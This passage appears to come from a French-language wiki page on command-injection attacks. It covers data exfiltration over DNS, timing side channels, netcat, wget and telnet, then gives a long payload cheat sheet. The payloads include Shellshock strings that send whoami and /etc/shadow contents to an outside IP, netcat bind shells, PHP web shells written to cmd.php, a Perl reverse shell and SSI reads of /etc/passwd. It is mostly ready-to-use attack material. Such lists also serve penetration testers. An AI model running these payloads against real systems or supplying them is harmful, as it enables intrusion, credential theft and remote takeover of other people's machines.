De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
===== Unix =====&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/passwd&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/shadow&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 ;id&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;id;&lt;br /&gt;
 |id&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 |id|&lt;br /&gt;
 |/usr/bin/id|&lt;br /&gt;
 ||/usr/bin/id|&lt;br /&gt;
 |id;&lt;br /&gt;
 ||/usr/bin/id;&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id;&lt;br /&gt;
 \nid;&lt;br /&gt;
 \n/usr/bin/id|&lt;br /&gt;
 \nid|&lt;br /&gt;
 ;/usr/bin/id\n&lt;br /&gt;
 ;id\n&lt;br /&gt;
 |usr/bin/id\n&lt;br /&gt;
 |nid\n&lt;br /&gt;
 `id`&lt;br /&gt;
 `/usr/bin/id`&lt;br /&gt;
 a);id&lt;br /&gt;
 a;id&lt;br /&gt;
 a);id;&lt;br /&gt;
 a;id;&lt;br /&gt;
 a);id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a)|id&lt;br /&gt;
 a|id&lt;br /&gt;
 a)|id;&lt;br /&gt;
 a|id&lt;br /&gt;
 |/bin/ls -al&lt;br /&gt;
 a);/usr/bin/id&lt;br /&gt;
 a;/usr/bin/id&lt;br /&gt;
 a);/usr/bin/id;&lt;br /&gt;
 a;/usr/bin/id;&lt;br /&gt;
 a);/usr/bin/id|&lt;br /&gt;
 a;/usr/bin/id|&lt;br /&gt;
 a)|/usr/bin/id&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 a)|/usr/bin/id;&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;system('id')&lt;br /&gt;
 ;system('/usr/bin/id')&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 | id&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 ; id&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 `id`&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=5&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&amp;amp;?vuln=6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; echo vulnerable 1&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&amp;amp;?vuln=7&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; echo vulnerable 3&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&amp;amp;?vuln=8&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&amp;amp;?vuln=9&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; echo vulnerable 6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=4&amp;quot;&lt;br /&gt;
 cat /etc/hosts&lt;br /&gt;
 $(`cat /etc/passwd`)&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;{{ get_user_file(&amp;quot;/etc/passwd&amp;quot;) }}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/passwd&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/shadow&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/usr/bin/id;--&amp;gt;&lt;br /&gt;
 system('cat /etc/passwd');&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;cat /etc/passwd&amp;quot;);?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Windows =====&lt;br /&gt;
 `&lt;br /&gt;
 || &lt;br /&gt;
 | &lt;br /&gt;
 ; &lt;br /&gt;
 '&lt;br /&gt;
 '&amp;quot;&lt;br /&gt;
 &amp;quot;&lt;br /&gt;
 &amp;quot;'&lt;br /&gt;
 &amp;amp; &lt;br /&gt;
 &amp;amp;&amp;amp; &lt;br /&gt;
 %0a&lt;br /&gt;
 %0a%0d&lt;br /&gt;
 &lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\&amp;quot; |ping -n 21 127.0.0.1&lt;br /&gt;
 %20{${phpinfo()}}&lt;br /&gt;
 %20{${sleep(20)}}&lt;br /&gt;
 %20{${sleep(3)}}&lt;br /&gt;
 a|id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a;id;&lt;br /&gt;
 a;id\n&lt;br /&gt;
 () { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12&lt;br /&gt;
 | curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 &amp;amp;&amp;amp; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
  curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 dir&lt;br /&gt;
 | dir&lt;br /&gt;
 ; dir&lt;br /&gt;
 $(`dir`)&lt;br /&gt;
 &amp;amp; dir&lt;br /&gt;
 &amp;amp;&amp;amp;dir&lt;br /&gt;
 &amp;amp;&amp;amp; dir&lt;br /&gt;
 | dir C:\&lt;br /&gt;
 ; dir C:\&lt;br /&gt;
 &amp;amp; dir C:\&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\&lt;br /&gt;
 dir C:\&lt;br /&gt;
 | dir C:\Documents and Settings\*&lt;br /&gt;
 ; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 dir C:\Documents and Settings\*&lt;br /&gt;
 | dir C:\Users&lt;br /&gt;
 ; dir C:\Users&lt;br /&gt;
 &amp;amp; dir C:\Users&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Users&lt;br /&gt;
 dir C:\Users&lt;br /&gt;
 ;echo%20'&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)&amp;gt;&amp;lt;/img&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php include($_GET['page'])| ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']')| ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system($_GET['cmd'])| ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ;echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 echo '&amp;lt;script src=https://crowdshield.com/.testing/xss.js&amp;gt;&amp;lt;/script&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 ; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 echo &amp;quot;use Socket;$i=&amp;quot;192.168.16.151&amp;quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};&amp;quot; &amp;gt; rev.pl&lt;br /&gt;
 () { :;}; echo vulnerable 10&lt;br /&gt;
 eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 eval('ls')&lt;br /&gt;
 eval('pwd')&lt;br /&gt;
 eval('pwd');&lt;br /&gt;
 eval('sleep 5')&lt;br /&gt;
 eval('sleep 5');&lt;br /&gt;
 eval('whoami')&lt;br /&gt;
 eval('whoami');&lt;br /&gt;
 exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')&lt;br /&gt;
 exec('ls')&lt;br /&gt;
 exec('pwd')&lt;br /&gt;
 exec('pwd');&lt;br /&gt;
 exec('sleep 5')&lt;br /&gt;
 exec('sleep 5');&lt;br /&gt;
 exec('whoami')&lt;br /&gt;
 exec('whoami');&lt;br /&gt;
 ;{$_GET[&amp;quot;cmd&amp;quot;]}&lt;br /&gt;
 `id`&lt;br /&gt;
 |id&lt;br /&gt;
 | id&lt;br /&gt;
 ;id&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 &amp;amp;&amp;amp;id&lt;br /&gt;
 ;id\n&lt;br /&gt;
 ifconfig&lt;br /&gt;
 | ifconfig&lt;br /&gt;
 ; ifconfig&lt;br /&gt;
 &amp;amp; ifconfig&lt;br /&gt;
 &amp;amp;&amp;amp; ifconfig&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ipconfig&lt;br /&gt;
 | ipconfig /all&lt;br /&gt;
 ; ipconfig /all&lt;br /&gt;
 &amp;amp; ipconfig /all&lt;br /&gt;
 &amp;amp;&amp;amp; ipconfig /all&lt;br /&gt;
 ipconfig /all&lt;br /&gt;
 ls&lt;br /&gt;
 $(`ls`)&lt;br /&gt;
 | ls -l /&lt;br /&gt;
 ; ls -l /&lt;br /&gt;
 &amp;amp; ls -l /&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /&lt;br /&gt;
 ls -l /&lt;br /&gt;
 | ls -laR /etc&lt;br /&gt;
 ; ls -laR /etc&lt;br /&gt;
 &amp;amp; ls -laR /etc&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /etc&lt;br /&gt;
 | ls -laR /var/www&lt;br /&gt;
 ; ls -laR /var/www&lt;br /&gt;
 &amp;amp; ls -laR /var/www&lt;br /&gt;
 &amp;amp;&amp;amp; ls -laR /var/www&lt;br /&gt;
 | ls -l /etc/&lt;br /&gt;
 ; ls -l /etc/&lt;br /&gt;
 &amp;amp; ls -l /etc/&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /etc/&lt;br /&gt;
 ls -l /etc/&lt;br /&gt;
 ls -lh /etc/&lt;br /&gt;
 | ls -l /home/*&lt;br /&gt;
 ; ls -l /home/*&lt;br /&gt;
 &amp;amp; ls -l /home/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /home/*&lt;br /&gt;
 ls -l /home/*&lt;br /&gt;
 *; ls -lhtR /var/www/&lt;br /&gt;
 | ls -l /tmp&lt;br /&gt;
 ; ls -l /tmp&lt;br /&gt;
 &amp;amp; ls -l /tmp&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /tmp&lt;br /&gt;
 ls -l /tmp&lt;br /&gt;
 | ls -l /var/www/*&lt;br /&gt;
 ; ls -l /var/www/*&lt;br /&gt;
 &amp;amp; ls -l /var/www/*&lt;br /&gt;
 &amp;amp;&amp;amp; ls -l /var/www/*&lt;br /&gt;
 ls -l /var/www/*&lt;br /&gt;
 \n&lt;br /&gt;
 \n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`&lt;br /&gt;
 \n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
